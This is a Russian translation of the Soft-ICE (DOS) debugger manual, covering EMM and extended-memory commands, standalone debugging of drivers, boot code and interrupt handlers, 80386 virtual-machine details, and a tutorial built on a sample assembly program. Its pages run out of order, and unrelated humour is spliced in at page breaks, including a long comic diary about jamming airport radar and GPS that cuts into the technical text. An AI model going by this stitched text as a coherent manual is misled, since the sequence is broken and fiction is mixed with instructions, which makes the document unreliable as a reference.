Точка останова на диапазон или память, находящаяся в отображаемой области EMM будет оставаться по этому адресу, неважно какая страница EMM отображается.

При отладке EMM-программы также может быть очень полезна команда EMMMAP. См. часть 5.6 для большей информации.

Для просмотра или изменения любой зарезервированной страницы EMM могут использоваться команды D, E, S, F и C. Страница не обязательно в этот момент должна отображаться. Синтаксис этих команд подобен командам, используемым для не-EMM страниц, кроме следующего:

* В командах D, E, S и F адресная часть команды должна быть указана следующим образом:


 Hуказатель# Pстраница# смещение
 

где указатель - число, определяющее, какой указатель EMM использовать, страница - число, определяющее, какую страницу EMM использовать, и смещение - число от 0 до 4000H, определяющее смещение от начала страницы. Пример:


 DB H1 P3 0
 

Эта команда выведет дамп байтов со страницы 3 указателя 1, начиная со смещения 0.

* Команда C должна быть указана следующим образом:


 C Hуказатель# Pстраница# смещение1 Lдлина смещение2
 

где указатель и страница - то же самое, что и выше. смещение1 - число от 0 до 4000H, определяющее смещение от начала страницы, где расположен первый блок данных для сравнения. смещение2 - число от 0 до 4000H, определяющее смещение от начала страницы, где расположен второй блок данных для сравнения. Пример:


 C H2 P4 00 L10 1000
 

Эта команда будет сравнивать первые 10 байтов памяти, расположенных по смещению 0 на странице 4 указателя 2 с первыми 10 байтами памяти, расположенными по смещению 1000 на странице 4 указателя 2.

Заметьте:

Последующие использования команд D, E, S, F и C будут продолжать использовать последние введенные указатель и страницу. Чтобы вернуться к обычной памяти, используйте одну из вышеупомянутых команд с сегментом, указанным в области адреса, например:


 D 0:0
 

11.5 Возможности Отладки с Расширенной Памятью

Команды D, E, S, F и C могут использоваться, чтобы просматривать или изменять расширенную память. Расширенная память, зарезервированная Soft-ICE, не может выводиться на экран. Синтаксис этих команд подобен командам, используемым для стандартной памяти:

* В командах D, E, S и F адресная часть команды должна указываться следующим образом: M адрес мегабайта где мегабайт - номер, определяющий какой мегабайт использовать и адрес определяет адрес в указанном мегабайте. Пример:


 DB M 2 0:0
 

Эта команда выведет дамп байтов с начала мегабайта, начинающегося с линейного адреса 200000H.

* Команда C должна указываться следующим образом:


 C M мегабайт адрес1 L длина адрес2
 

Где мегабайт и адрес1 - то же, что и выше. адрес2 определяет адрес в указанном мегабайте, где находится второй блок данных для сравнения.




Руководство по Soft-ICE (DOS) - 23

Invalid user. Replace and strike any key to continue.

Пример:


 C M 3 1000:2000 L10 3000:4000
 

Эта команда будет сравнивать первые 10 байтов памяти, размещенной с 1000:2000, с первыми 10 байтами памяти, размещенной с 3000:4000.

Заметьте:

Последующие использования команд D, E, S, F и C будут продолжать использовать последний указанный мегабайт. Чтобы вернуться к мегабайту 0 (стандартная память), выполните одну из вышеупомянутых команд с 0, указанным как мегабайт, например:


 D M 0
 

ГЛАВА 12

В автономном режиме Soft-ICE может быть мощным инструментом. Эта часть описывает технику отладки компонентов системного уровня, используя Soft-ICE в автономном режиме. При использовании Soft-ICE как автономного отладчика, ACTION должна быть установлена на HERE.

12.1 Загружаемые Драйверы Устройств

Отладка загружаемых драйверов устройств DOS требует отладчика, который не выполняет вызовов DOS. Soft-ICE может использоваться в автономном режиме, если ваш отладчик использует DOS.

Есть два метода отладки загружаемых драйверов устройств: 1. Используйте команду MAP, чтобы найти расположение вашего загружаемого драйвера. Просмотрите заголовок драйвера устройства, чтобы найти точку входа в прерывание или стратегию. Установка точки останова на вход в стратегию или прерывание даст вам контроль над драйвером устройства. Далее трассируйте или устанавливайте точки останова для продолжения отладки. Отладка кода инициализации драйвера устройства требует сброса системы командой BOOT. Используйте вышеописанную методику для установки точки останова в коде драйвера. Команда BOOT будет сохранять Soft-ICE и точки останова.
2. Второй метод требует размещения специального кода в вашем драйвере. Сделайте это при помощи команды I3HERE ON (см. раздел 5.4). Поместите опкод INT 3 (CCH) в ваш драйвер устройства в точке, где необходим контроль. Когда выполняется INT 3, управление переходит к Soft-ICE. Затем вы можете использовать команду R IP для установки указателя команд для переходов до и после опкода INT 3.

Если вы хотите отлаживать вашу последовательность инициализации, удостоверьтесь, что Soft-ICE загружается в CONFIG.SYS до драйвера, который вы пытаетесь отлаживать. Поместите команду I3HERE ON в строку установок в S-ICE.DAT. При этом методе вам не нужно использовать команду BOOT.

Если вы отлаживаете ваш драйвер устройства с символами или по исходному тексту, вы должны загрузить файл символов и исходные файлы отдельно от драйвера устройства. Файл символов и исходные файлы загружаются загрузчиком программ Soft-ICE LDR.EXE. Когда LDR.EXE используется, чтобы загружать только символы и исходный текст, вы должны использовать его в форме:


 LDR название-файла.SYM
 

Должно быть указано расширение файла символов. См. часть 7.4 для больших подробностей относительно LDR.EXE.

После загрузки файла символов и исходных файлов при помощи LDR.EXE вы должны войти в Soft-ICE и переместить символы относительно начала вашего драйвера устройства. Символы перемещаются командой Soft-ICE SYMLOC. Синтаксис команды SYMLOC:


 SYMLOC сегмент
 

Значение сегмента получается из команды MAP. См. описание команды SYMLOC для больших подробностей.

12.2 Программы Начальной Загрузки

Отладка программ начальной загрузки или самозагружающихся программ требует использования Soft-ICE как автономного отладчика. Вы должны сначала загрузить DOS и запустить Soft-ICE. Самый простой метод отладки программ начальной загрузки - установка точки останова на известный адрес в загрузчике и затем использование команды BOOT для сброса системы. Soft-ICE сохраняется во время всего процесса начальной загрузки с установленными точками останова. Если тяжело найти известный адрес, то можно установить точку останова на выполнение в 7C0:0H перед использованием команды BOOT. Это - адрес, по которому ROM BIOS загружает сектор начальной загрузки в память.

Другой метод требует включения режима I3HERE (см. часть 5.4). Поместите опкод INT 3 (CCH) в вашу программу в точке, где необходим контроль. Когда выполняется INT 3, управление приходит к Soft-ICE. Вы также можете использовать как символьную, так и отладку по исходному тексту при отладке программы начальной загрузки. См. команду SYMLOC для большей информации о том, как переместить ваши символы и исходный текст в сегмент, в который загружена ваша программа начальной загрузки.

12.3 Обработчики Прерываний

Soft-ICE позволяет устанавливать точки останова и пошагово выполнять подпрограммы обслуживания аппаратных прерываний (таймер, клавиатура и т.д.). Пошаговое выполнение и установка точек останова в программах обработки прерывания поддерживается Soft-ICE. Вы даже можете трассировать обработчик прерывания клавиатуры, когда Soft-ICE использует клавиатуру для ввода. В большинстве случаев при отладке программ обработки прерываний, Soft-ICE должен использоваться как автономный отладчик. Чтобы установить точку останова на адрес обработчика прерывания, используйте один из следующих методов:

1. Используйте команду вывода двойного слова:

DD номер-прерывания * 4 L 1 Выведенный адрес - адрес первой команды обработчика прерывания. Установите точку останова на выполнения на этот адрес.

2. Используйте команду:


 BPINT номер-прерывания
 

12.4 Операционные Системы, Отличные от DOS (non-DOS)

При помощи Soft-ICE могут отлаживаться операционные системы режима реальной адресации, отличные от DOS. Если операционная система слабо совместима с DOS, вы должны загрузить Soft-ICE под DOS, а затем использовать команду BOOT, чтобы запустить другую операционную систему. Следуйте инструкциям для отладки блоков начальной загрузки и самозагружающихся программ из раздела 12.2.

Команды MAP и WARN могут неправильно функционировать под другими операционными системами, но точки останова и другие отладочные команды будут работать правильно.

При отладке с символами или исходным текстом вы должны загрузить символьные и исходные файлы под DOS или в DOS-совместимом режиме вашей операционной системы.

ГЛАВА 13

13.1 Активизация Других Отладчиков

Soft-ICE работает с большинством других отладчиков, пользуясь преимуществами отладочного прерывания семейства 8086 (INT 3). Большинство отладчиков используют однобайтовую команду INT 3 (CCH) для выполнения точек останова. Целевая команда заменяется на INT 3. Когда выполнение достигает целевого адреса, управление передается обработчику INT 3 отладчика. Затем отладчик заменяет (CCH) на первый байт первоначальной команды.

Когда выполняются точки останова Soft-ICE, в зависимости от команды ACTION, может произойти одно из нескольких событий. Обычно при использовании Soft-ICE с другим отладчиком, ACTION устанавливается на INT3. Когда выполняется условие останова, Soft-ICE передает управление главному отладчику при помощи эмуляции INT 3.

Некоторые отладчики могут работать неправильно при эмуляции INT 3. Для этих отладчиков обеспечены две другие опции ACTION. Это - INT1 и NMI. INT 1 - пошаговое прерывание семейства 8086. Большинство отладчиков будут обрабатывать незапрашиваемый INT 1 как точку останова. NMI поддерживается большинством отладчиков как средство выхода из зависания. Эти отладчики были разработаны для аппаратных переключателей выхода, которые производили немаскируемое прерывание. Когда ACTION установлено на NMI, Soft-ICE эмулирует немаскируемое прерывание (Interrupt2). CODEVIEW работает лучше всего с ACTION, установленным на NMI.

13.2 Основы Виртуальных Машин

Магия Soft-ICE стала возможной из-за возможностей виртуальной машины процессора 80386. Soft-ICE выполняется в защищенном режиме 80386 и управляет окружением DOS. Схема защиты 80386 дает Soft-ICE полный контроль над окружением DOS, в то же время защищая его от "капризных" программ.

Как генерируются точки останова Soft-ICE?

Soft-ICE использует три разных возможности 80386 для создания точек останова:

* Точки останова на ячейку памяти используют регистры останова 80386
* Точки останова на диапазоны памяти используют механизм страничной организации 80386
* Точки останова на команды ввода/вывода используют уровень привилегий ввода/вывода и битовую маску ввода/вывода Как выполняется команда BREAK?

Команда BREAK позволяет использовать клавиатуру для вызова Soft-ICE, даже когда прерывания отключены и система зависла. Soft-ICE виртуализирует механизм прерываний, так что для Soft-ICE прерывания никогда не отключаются, даже когда они отключены для программы DOS, выполняющейся в виртуальной машине.

В режиме BREAK виртуализируются следующие команды, чтобы удостовериться что флаг прерывания никогда не сбрасывается:


 PUSHF
 POPF
 STI
 CLI
 INT n
 IRET
 

Специальные соображения о виртуальном режиме 8086

Soft-ICE выполняет DOS в виртуальной машине 8086. Эта возможность - главная особенность микропроцессора 80386. При выполнении программ реального режима (DOS и т.д.) в виртуальной машине, программой, контролирующей виртуальную машину, должны эмулироваться некоторые особенности 8086. В нашем случае виртуальную машину контролирует Soft-ICE. Soft-ICE поддерживает следующие особенности:

* Функции прерывания ROM BIOS 15H : 87H, 88H и 89H
* Недокументированная команда loadall
* Управление Адресной Линией 20H
* Команды защищенного режима 80286 и 80386
* Ошибки 80386

Функции прерывания ROM BIOS 15H : 87H, 88H и 89H

Функция BIOS 87H позволяет программе обращаться к памяти выше одного мегабайта на архитектуре IBM AT или Personal Series II через механизм перемещения блоков. Функция 88H возвращает размер расширенной памяти. Эти функции используются драйвером устройства VDISK. Soft-ICE эмулирует эти вызовы BIOS для совместимости с VDISK. Функция 89H обычно используется для перехода в защищенный режим, но Soft-ICE не может позволить этому случиться. Вместо этого возвращает установленный флаг переноса.

Неописанная команда loadall

80286 содержит неописанную команду, называемую loadall. Эта команда первоначально помещалась на чип в диагностических целях и в основном не используется программным обеспечением. Однако, она используется некоторыми версиями RAMDRIVE фирмы Microsoft, который продается с Microsoft Windows и MS-DOS 3.2. Soft-ICE эмулирует loadall, чтобы обеспечить работу RAMDRIVE, однако, невозможно произвести полную эмуляцию этой команды.

Управление Адресной Линией 20H

IBM AT предоставляла специальную особенность, позволяющую некоторым старым программам, которые первоначально были написаны для CP/M функционировать на процессоре 80286. Эта возможность давала обращениям к памяти, возвращающимся в нулевую область на 8086 при выходе за границу мегабайта, работать на 80286. Некоторые программы отключают эту "совместимость", чтобы обращаться к памяти выше одного мегабайта в режиме реальной адресации. Soft-ICE эмулирует эту способность. Она обеспечивается на всех машинах 80386 AT через контроллер клавиатуры и через порт ввода/вывода 92H на PS/2.




Руководство по Soft-ICE (DOS) - 24

10 июня. Запускали малошумяший усилитель. Регистрирует импульсные помехи каждые 8 секунд. 11 июня. Анализировали спектр помех. Hашли источник. Это радар на городском аэродроме. 12 июня. Тестировали новые компьютеры. Фурье- и вейвлет преобразования идут на ура. Квейк тоже не тормозит. 13 июня. Тестировали мониторы. Через 3 минуты появился новый бот. Валили его втроем. Hа седьмой минуте забили окончательно. Прибежал шеф. Был очень лаконичен и сыпал яркими образами. Болят уши. Грустно. 14 июня. Экранировали усилитель. Заземляли. Заземлили все, что можно. Hе помогает. Спирт тоже. С радаром надо кончать. 15 июня. Думали. Паяли схему. 18 июня. Утро. Включили усилитель. Давили радар новой схемой. Подбирали волну, фазу и форму импульса. Подавили. Помех на усилителе больше нет. Обед. Hа нас чуть не сел первый самолет. Вечер. Самолеты идут косяками. Выключили схему. За проходной ждали пилоты. Крепкие ребята с хорошей реакцией. Охрана нас отбила. Потом добавила. 19-22 июня. Душевные беседы с особистом. 23 июня. Приехали военные. Забрали схему. Очень хвалили. Потом пугали. Мы обещали молчать. К вечеру пришел журналист. Hапоили его и завели на технический этаж. Оттуда еще никто быстро не выходил. Плутают как минимум сутки. 26 июня. С утра поддались боту в Квейк. Минут двадцать строили из себя мясо. Шеф пришел от себя довольный. Об увольнении уже нет и речи. Журналист, где-то голосит, но его надежно глушит вентиляция. 27 июня. Шеф на коне. Мы трое отдыхаем. Разгромный счет. Обидно. Анализировали причину неудач. Вечер. Искали журналиста. Остались на ночную смену. Hашли. Кидается гайками. Смеется и что-то пишет на своем ноутбуке. Оказывается, у него радиодоступ в Интернет. Завидую. 28 июня. Увы, у всех у нас плохая реакция. Руки на клавиатуре не успевают. Собирали манипуляторы с управлением от биотоков мозга. 29 июня. Отлаживали манипуляторы. Оказалось, реагируют на подсознательные образы. У всех синяки. Снизили чуствительность входных каскадов. Помогло. 30 июня. Убрали манипуляторы. Hеспортивно и чревато увольнением. Приспособили их в горячую камеру, где работаем с радиоактивностью. Удобно, быстро. Остается больше времени на компьютеры. 3 июля. Приходил директор. Забрал манипуляторы. Просил сделать еще. Весь день пытались вспомнить управляющую схему. Hе сумели. Курево не то. Спирта нет. Шеф опять на коне. В корпусе уже ходят легенды про неизвестного, ворующего еду и спирт. 4 июля. Приходил Вася. Бывший сотрудник. Теперь крутой. Хвастается GPS. Хам. Поспорили на его джип, что GPS ему не поможет. Hе верит. 5 июля Готовились к спору. Окна джипа закрашены. Вася готов. Смеется. Мы тоже готовы. Hашли подходящий кабель для новой схемки. Главное, чтобы выдержала подстанция. 6 июля. Подстанция продержалась до обеда. Джип застрял в болоте километрах на 120 от города. Вася удивлен. Считал, что он посреди города. Мы рады. 7 июля. Уже не рады. Схемы нет. Прибора нет. Компьютеров нет. Заначенной бутыли тоже нет. Комнаты опечатаны. 8-20 июля. Сидим в КПЗ. Иногда встречи с особистом. Читаем в газетах о происшествиях с судами и самолетами, потерявшими ориентацию. 21 июля. Виделись с шефом. Говорит тихо. Hервничает. Дергается глаз. Хочет к маме. Hичего не помнит. 22 июля. Приходили военные. Сильно пугали. Hемного хвалили. Просили работать на них. За такие деньги - и работать? Aвгуст. Мы были неправы. Hадо было соглашаться. Теперь поздно. Осваиваем пилы и топоры. Спирт из местной древесины плохой. Работа идет медленно. Hеэффективно. Hадо что-то делать. Так, чтобы деревья сразу под корень, и ветки долой... Cентябрь. Сделали. Сидим в карцере. Говорят, разовый выруб пяти гектаров леса был заметен километров за 20... Жаль, установка тоже сгорела. Конвой косится и исподтишка бьет по почкам. Зря. Задеть казарму и поселок мы не хотели. Грустно. Ждем особиста и военных... SOS

Команды защищенного режима 80286 и 80386

Некоторые специфические программы AT использовали команды защищенного режима 80286. С появлением 80386 некоторые программы 80386 используют команды защищенного режима 80386. Эти программы не будут работать с Soft-ICE.

Soft-ICE обеспечивает стандартные расширения режима реальной адресации, которые фирма Intel включила в процессоры 80186 и 80286 (PUSHALL, POPALL и т.д.), но не команды защищенного режима типа LGDT, LMSW и т.д.

Ошибки 80386

Есть несколько ошибок в работе чипа 80386. Большинство этих ошибок относятся только к программному обеспечению защищенного режима (типа Soft-ICE).




Руководство по Soft-ICE (DOS) - 3

Настоящий хакер может взломать домофон из Пентагона и Пентагон из домофона.

F10 - Выполняет подпрограмму или цикл (^P;)
F11 - Перейти к адресу возврата (большая модель) (^G @SS:SP;)
F12 - выводит номер версии Soft-ICE (^VER;)

Знак "сaret" (^), предшествующий команде, делает ее невидимой, точка с запятой (;) после команды производит перевод строки. Вы можете вывести на экран текущие назначения функциональных клавиш, введя команду:


 FKEY
 

Для использования функциональной клавиши просто нажмите ее вместо ввода команды. При необходимости программирования функциональных клавиш, см. часть 5.8 для получения описания команды FKEY или главу 6 для получения описания предварительной инициализации функциональных клавиш в S-ICE.DAT.

3.10 Помощь

Команда помощи выводит краткое описание, синтаксис выражения и пример каждой команды. Чтобы получить информацию помощи, введите:

? или H -- выводит краткие описания всех команд и операторов
? команда или
H команда -- выводит более детальную информацию по указанной команде, синтаксис и пример
? выражение или
H выражение -- выводит значение выражения в шестнадцатеричном, десятичном и ASCII формате

3.11 Обучающая Часть

Эта обучающая часть демонстрирует некоторые из возможностей Soft-ICE и дает вам возможность попробовать использовать Soft-ICE. Soft-ICE может быть использован вместе с другим отладчиком или как автономный отладчик. Обучающая часть демонстрирует использование Soft-ICE как дополнение к отладчику DOS DEBUG, а потом показывает, каким образом Soft-ICE может использоваться как автономный отладчик с загруженным исходным текстом и символами. DEBUG можно найти на системной дискете PC DOS или MS DOS. Если у вас нет DEBUG, вы можете найти другой отладчик или использовать Soft-ICE как автономный отладчик.

Пользователи, которым необходимо использовать Soft-ICE для "обратного проекти- рования" или для отладки загружаемых драйверов устройств DOS или резидентных программ, также должны пройти эту обучающую часть. Даже если примеры программ этих типов непосредственно не демонстрируются, вы получите представление об отладке при помощи Soft-ICE. Рекомендуется поэкспериментировать с Soft-ICE и вашим специфическим окружением до начала работы с реальным проектом.

Для демонстрации аппаратных точек останова используется короткая программа на языке ассемблера с тонким изъяном. Программа-пример была сделана максимально короткой и ясной для тех, кто не очень знаком с языком ассемблера. Обучающая часть предназначена для того, чтобы дать вам почувствовать возможности Soft-ICE. Не стесняйтесь экспериментировать по собственной инициативе после прохождения обучающей части.

Так как Soft-ICE очень гибок, он позволяет вам загружать его оптимальным для вашей системы образом. Пройдите процедуры установки в части 2.2 перед тем как продолжить изучать обучающую часть.

Если у вас в системе нет расширенной памяти, вы должны загрузить Soft-ICE из командной строки. При загрузке Soft-ICE из командной строки вы не сможете загружать символы или файлы с исходными текстами. В этом случае вы должны перейти к последней теме обучающей части, где Soft-ICE используется как автономный отладчик.

Soft-ICE может быть загружен из командной строки DOS или как драйвер устройства в CONFIG.SYS. Для этой обучающей части вы должны установить Soft-ICE в CONFIG.SYS с хотя бы 50КБ расширенной памяти для символов и файлов с исходным текстом. Soft-ICE должен быть первым драйвером устройства, установленным в CONFIG.SYS. Строка установки устройства должна выглядеть так:


 DEVICE = диск:\путь\S-ICE.EXE /SYM 50
 

Параметр /SYM 50 указывает Soft-ICE резервировать 50 килобайтов расширенной памяти для символов и файла с исходным текстом. Этого недостаточно для решения реальных задач, но будет работать с нашей программой-примером.

Вы должны перезагрузить вашу систему после помещения этой строки в CONFIG.SYS.

Когда вы перезагрузите вашу систему, Soft-ICE выведет информацию об авторских правах, регистрационный номер, имя владельца этой копии Soft-ICE и количество расширенной памяти, зарезервированной для каждой компоненты Soft-ICE. В системе с 384КБ расширенной памяти начальный экран напоминает следующий:

Soft-ICE Ваше имя Название вашей компании # SInnnnnn Copr. (C) Nu-Mega Technologies 1987-1989 All Rights Reserved Soft-ICE Version 2.00 Soft-ICE is loaded from 00132000H up to 00160000H. 50K of symbol space reserved. 10K of back trace space reserved. 200 K of extended memory available.

Сообщение "Soft-ICE загружен ..." указывает вам точную область памяти, которая занята Soft-ICE и его компонентами. Если у вас Compaq или клон Compaq и включено слово COMPAQ в ваш файл S-ICE.DAT, вы также увидите сообщение : "Using high memory from XXXXXXXX to 00FE0000H".

Следующая строка сообщает, сколько памяти было зарезервировано под символы. Эта память используется для символов и файлов с исходными текстами.

Следующая строка сообщает, сколько памяти было зарезервировано для истории обратной трассировки. По умолчанию резервируется 10КБ. Эта область памяти используется командой SNAP и командой BPR с опциями T или TW.

Последняя строка сообщает вам, сколько памяти оставлено под обычную расширен- ную память. Эта память может использоваться другими программами, типа HIMEM, SMARTDRIVE, VDISK и т.д.

Перейдите в директорию вашего жесткого диска, в которую вы поместили все файлы с вашей дистрибутивной дискеты. Помните, что этот каталог должен быть доступен через переменную PATH.

Прежде чем начинать тяжелую отладку, давайте вызовем окно Soft-ICE и произведем его проверку. Очистите экран, введя:


 CLS
 

Вызовите окно Soft-ICE, нажав:


 CTRL D
 

Теперь окно Soft-ICE - на экране. Если ваш файл S-ICE.DAT доступен через переменную PATH, то окно Soft-ICE будет занимать весь экран. Он будет разделен на четыре части. Сверху вниз эти части : окно регистров, окно данных, окно кода и окно команд. Если S-ICE.DAT не был найден, у вас будет маленькое окно в центре экрана. Это также означает, что другие компоненты, необходимые для обучающей части, не были загружены.

Если видимо маленькое окно, вы должны:

1. Выйти из Soft-ICE, введя X.
2. Выгрузить Soft-ICE, введя S-ICE /U.
3. Скопировать файл S-ICE.DAT с дистрибутивной дискеты в каталог, доступный через существующую переменную PATH.
4. Повторно начать демонстрационный пример.

Сейчас мы перейдем к маленькому окну. Маленькое окно очень удобно для использования Soft-ICE в дополнение к другому отладчику.

Введите:


 WIN
 

Это приведет к появлению маленького окна команд в центре экрана вместо большо- го. На этом экране видно несколько команд Soft-ICE. Это - остатки строки инициализации из S-ICE.DAT, которые первоначально установили Soft-ICE в полноэкранный режим.

Вы заметите символ стимула (:) и строку состояния в нижней части окна.

Окно Soft-ICE может перемещаться относительно экрана, так же может быть отрегулирован размер окна.

Переместите окно по экрану, нажимая:

CTRL стрелка вверх-- перемещает окно на одну строку вверх
CTRL стрелка вниз -- перемещает окно на одну строку вниз
CTRL стрелка вправо -- перемещает окно на одну позицию вправо
CTRL стрелка влево -- перемещает окно на одну позицию влево

Измените размер окна так, чтобы оно заполнило весь экран, введя:


 WIN
 

Вы увидите, что восстановился первоначальный экран.

Вернитесь к маленькому окну, снова введя


 WIN.
 

Сделайте окно выше или ниже, нажимая:

ALT стрелка вверх -- делает окно выше
ALT стрелка вниз -- делает окно ниже

Теперь представьте, что происходит, когда вы - перед новой программой и точно не знаете, что делать дальше -- вы просите помощи.

Получите помощь, введя:


 ?
 

Обратите внимание, что вывод на экран прекращается до нажатия любой клавиши прежде чем прокрутить информацию по экрану. Посмотрите на строку состояния в в нижней части окна. В строке состояния выведены инструкции: "Любая клавиша - продолжение, ESC - отмена". Теперь нажмите любую клавишу, для продолжения вы- вода информации помощи. Продолжайте нажимать клавишу до повторного появления стимула (:).

Прокрутите информацию помощи назад, нажав

SHIFT стрелка вниз

Выведенная ранее информация может прокручиваться в окне команд при помощи клавиш shift вверх, shift вниз, page up и page down. Попробуйте разные клавиши для перемещения по информации помощи.

Средство помощи Soft-ICE дает вам краткий обзор каждой команды. Если вы введете знак вопроса (?) сопровождаемый названием команды, вы увидите экран, показывающий синтаксис команды, краткое описание команды и пример.

Попробуйте поэкспериментировать с помощью, вводя команды в следующем формате:


 ? команда
 

Например,


 ? ALTKEY
 

Если вы запутались, обратите внимание на сообщения в строке состояния в нижней части экрана.

Команда помощи также позволяет вам вычислять шестнадцатеричные выражения.

Например, введите:


 ? 10*2+42
 

Результирующий экран показывает вам значение выражения, сначала в шестнадцатеричном, потом десятичном, а потом в ASCII - представлении:


 0062 00098 "b"
 

Мы вызвали окно комбинацией клавиш CTRL D. Некоторых это устраивает, но вы можете предпочесть использовать другую комбинацию клавиш.

Теперь введем команду, чтобы изменить комбинацию клавиш, требуемую для вызова окна. Мы сделаем это шаг за шагом, так чтобы вы привыкли к строке состояния в нижней части окна.

Введите букву "A". Строка состояния покажет список всех команд, начинающихся с буквы "A". Завершите ввод слова "ALTKEY". Строка состояния теперь покажет короткое описание команды ALTKEY Нажмите "пробел". Строка состояния теперь покажет требуемый синтаксис для команды ALTKEY. Наберите буквы "ALT D" потом нажмите ВВОД, чтобы ввести полную команду:


 ALTKEY ALT D
 

Вы только что изменили комбинацию клавиш для вызова окна на ALT D. С этого времени вы должны нажать клавиши ALT D, чтобы вызвать окно. Так и оставим это во всей оставшейся обучающей части. Теперь давайте проверим предыдущую команду.

Для выхода из окна, введите:


 ALT D
 




Руководство по Soft-ICE (DOS) - 4

- Виндовс это не вирус. Вирусы не глючат.

Окно Soft-ICE только что исчезло. Чтобы вернуться в окно Soft-ICE, отпустите клавишу ALT, а потом нажмите: ALT D

Окно восстановилось. Для просмотра предыдущих команд, нажмите: клавишу стрелка вверх несколько раз.

Имейте в виду, что Soft-ICE помнит команды, которые были введены. Попробуйте отредактировать одну просто для забавы. Вот некоторые клавиши редактирования:

INS -- переключает режим вставки
DEL -- Удаляет один символ
HOME -- Перемещает курсор в начало строки
END -- Перемещает курсор в конец строки
стрелка вправо -- Перемещает курсор на символ вправо
стрелка влево -- Перемещает курсор на символ влево

Имейте в виду, что когда включен режим вставки, курсор принимает форму блока.

Теперь, когда вы немного знакомы с окружением, давайте, попробуем некоторые другие команды.

Сотрите команду, которую вы редактировали, нажав клавишу HOME, потом нажимая клавишу DEL пока команда не исчезнет.

Введите:


 WR
 

Команда WR делает видимым окно регистров. Окно регистров показывает содержимое регистров 8086. Заметьте что значения регистров отражают местоположение, где выполнялся код, когда вы вызвали Soft-ICE.

Команда WR назначена в файле инициализации Soft-ICE, S-ICE.DAT на функциональную клавишу F2.

Нажмите клавишу F2 несколько раз, и вы увидите, как включается/выключается окно регистров. Оставьте окно регистров видимым.

Увеличьте вертикальный размер окна Soft-ICE, держа нажатыми ALT и , пока окно не займет весь экран. Запомните значения регистров CS и IP в окне регистров, потом введите:


 MAP
 

Команда MAP покажет карту памяти системы. Область текущего указателя инструкций (CS:IP) будет подсвечена. Если у вас сложная карта памяти, вам может быть придется несколько раз нажать клавишу, пока вновь не появится командная строка.

Теперь попробуйте следующую последовательность несколько раз, запоминая регистры (CS:IP) в окне регистров.


 ALT D
 

Отпустите ALT и D


 ALT D
 

Каждый раз при возвращении в окно Soft-ICE, вы будет замечать что регистры CS и IP изменились. Когда CS и IP изменились, вы может ввести команду MAP снова и посмотреть, показывает ли теперь указатель инструкций на другую область.

Это небольшое упражнение демонстрирует, что Soft-ICE является отладчиком системного уровня, который всплывает по горячей комбинации клавиш Soft-ICE, куда бы ни показывал указатель инструкций. Указатель инструкций непрерывно меняется, потому что выполняется множество команд между вызовами, даже когда вы - в командной строке DOS, типа прерываний таймера, работы драйверов устройств DOS, занятости DOS при ожидании других прерываний и т.д.

Нажмите функциональную клавишу F12.

Функциональной клавише F12 по умолчанию назначена команда VER. Она выводит сообщение об авторских правах на Soft-ICE и номер версии. Теперь мы назначим функциональной клавише F12 команду RS.

Введите:


 RS
 

Она временно покажет экран программы без окна Soft-ICE. Нажмите "пробел", чтобы вернуться в окно Soft-ICE.

Введите:


 FKEY F12 RS;
 

Это назначает команду RS на клавишу F12. Точка с запятой заменяет клавишу ВВОД.

Нажмите клавишу F12.

Повторите это несколько раз для переключения между окном Soft-ICE и экраном программы. Теперь удостоверьтесь, что выведено окно Soft-ICE, при необходимости, нажав клавишу F12. Вы заметите, что RS выведен в окне несколько раз. Одно появление на экране команды RS соответствует одному нажатию клавиши F12, чтобы показать экран программы.

Очистите окно Soft-ICE, введя:


 CLS
 

Введите:


 FKEY F12 ^RS;
 

символ (^) - shift + 6. Это назначит команду RS клавише F12, но сделает эту команду невидимой.

Нажмите клавишу F12 несколько раз. Заметьте что команда RS больше не выводится в окне Soft-ICE.

Вы также можете назначать функциональной клавише последовательность команд. Не забывайте ставить знак возврата каретки между командами. Теперь давайте подготовимся использовать Soft-ICE в дополнение к утилите MS-DOS DEBUG.

Уберите окно регистров, нажав F2. Потом сократите размер окна до приблизительно 6 строк используя ALT .

Введите:


 ACTION INT3
 

Эта команда заставляет Soft-ICE сгенерировать int 3 при выполнении условий точки останова. Таким образом, Soft-ICE будет взаимодействовать с DEBUG. Установка по умолчанию - HERE. ACTION HERE будет заставлять возвращать управление непосредственно Soft-ICE. Используйте ACTION HERE при работе с Soft-ICE как с автономным отладчиком.

Тем, кто не использует DEBUG с этой обучающей частью, теперь возможно придется импровизировать. CODEVIEW работает с ACTION установленным на NMI. Большинство других отладчиков будет работать с ACTION INT3. Если ваш отладчик не делает этого и вам необходима помощь для импровизации, обратитесь к полному описанию ACTION (см. часть 5.4).

Для того чтобы снова убрать окно Soft-ICE, введите:


 X
 

Это - альтернативный метод для выхода из Soft-ICE. Это особенно полезно при переопределениях функциональных клавиш.

Теперь, когда вы знакомы с некоторыми из азов использования Soft-ICE, давайте вникнем в некоторые детали, отлаживая программу-пример (SAMPLE.ASM).

SAMPLE.ASM - простая программа, написанная на Ассемблере программистом по имени Jed. Программа читает нажатия клавиш из DOS и выводит сообщение, говорящее был ли нажат пробел.

Для запуска программы SAMPLE, введите:


 SAMPLE
 

Теперь нажмите "пробел". Нажмите несколько клавиш. Очевидно у программы Jed'а проблемы! Jed потратил часы, изучая этот исходный код, и уверен, что в его логике нет никаких недостатков. Однако, Jed позаимствовал несколько вспомогательных подпрограмм у его друга Jake'а (get_key, is_space?). Jed немного подозревает эти подпрограммы, но не может найти ошибку.

Исходный код программы Jed'а выглядит следующим образом:


 Page 55,80
 Title Пример программы для обучающей части Soft-ICE
 DATA Segment Public 'Data'
 pad db 12H dup(O)
 char db 0
 answer db 0
 space_msg db 'Был нажат ПРОБЕЛ',0DH,0AH,'$'
 no_space_msg db 'Введенный символ - НЕ '
 db 'ПРОБЕЛ',0DH,0AH,'$'
 DATA Ends
 STACK Segment Stack 'Stack'
 Dw 128 Dup (?) ;Стек программы
 STACK Ends
 CODE Segment Public 'Code'
 Assume CS:CODE,DS:DATA,ES:Nothing,SS:STACK
 
 start:
 
 ; Устанавливаем сегменты
 mov ax,DATA
 mov es,ax
 mov ds,ax
 
 ; Основной цикл программы
 main_loop:
 call get_key
 call is_space?
 cmp answer,0
 je no_space
 ; Это пробел, выводим сообщение о пробеле
 
 mov ah,9
 mov dx,offset space_msg
 int 21H
 jmp main_loop
 ; Это НЕ пробел, выводим сообщение об отсутствии пробела
 
 no_space:
 mov ah,9
 mov dx,offset no_space_msg
 int 21H
 jmp main_loop
 
 ;---------------------;
 ; ПОДПРОГРАММЫ JAKE'а
 ;---------------------;
 
 ; Подпрограмма Get Key (одна из подпрограмм Jake'а)
 get_key proc
 mov ah,8
 int 21H
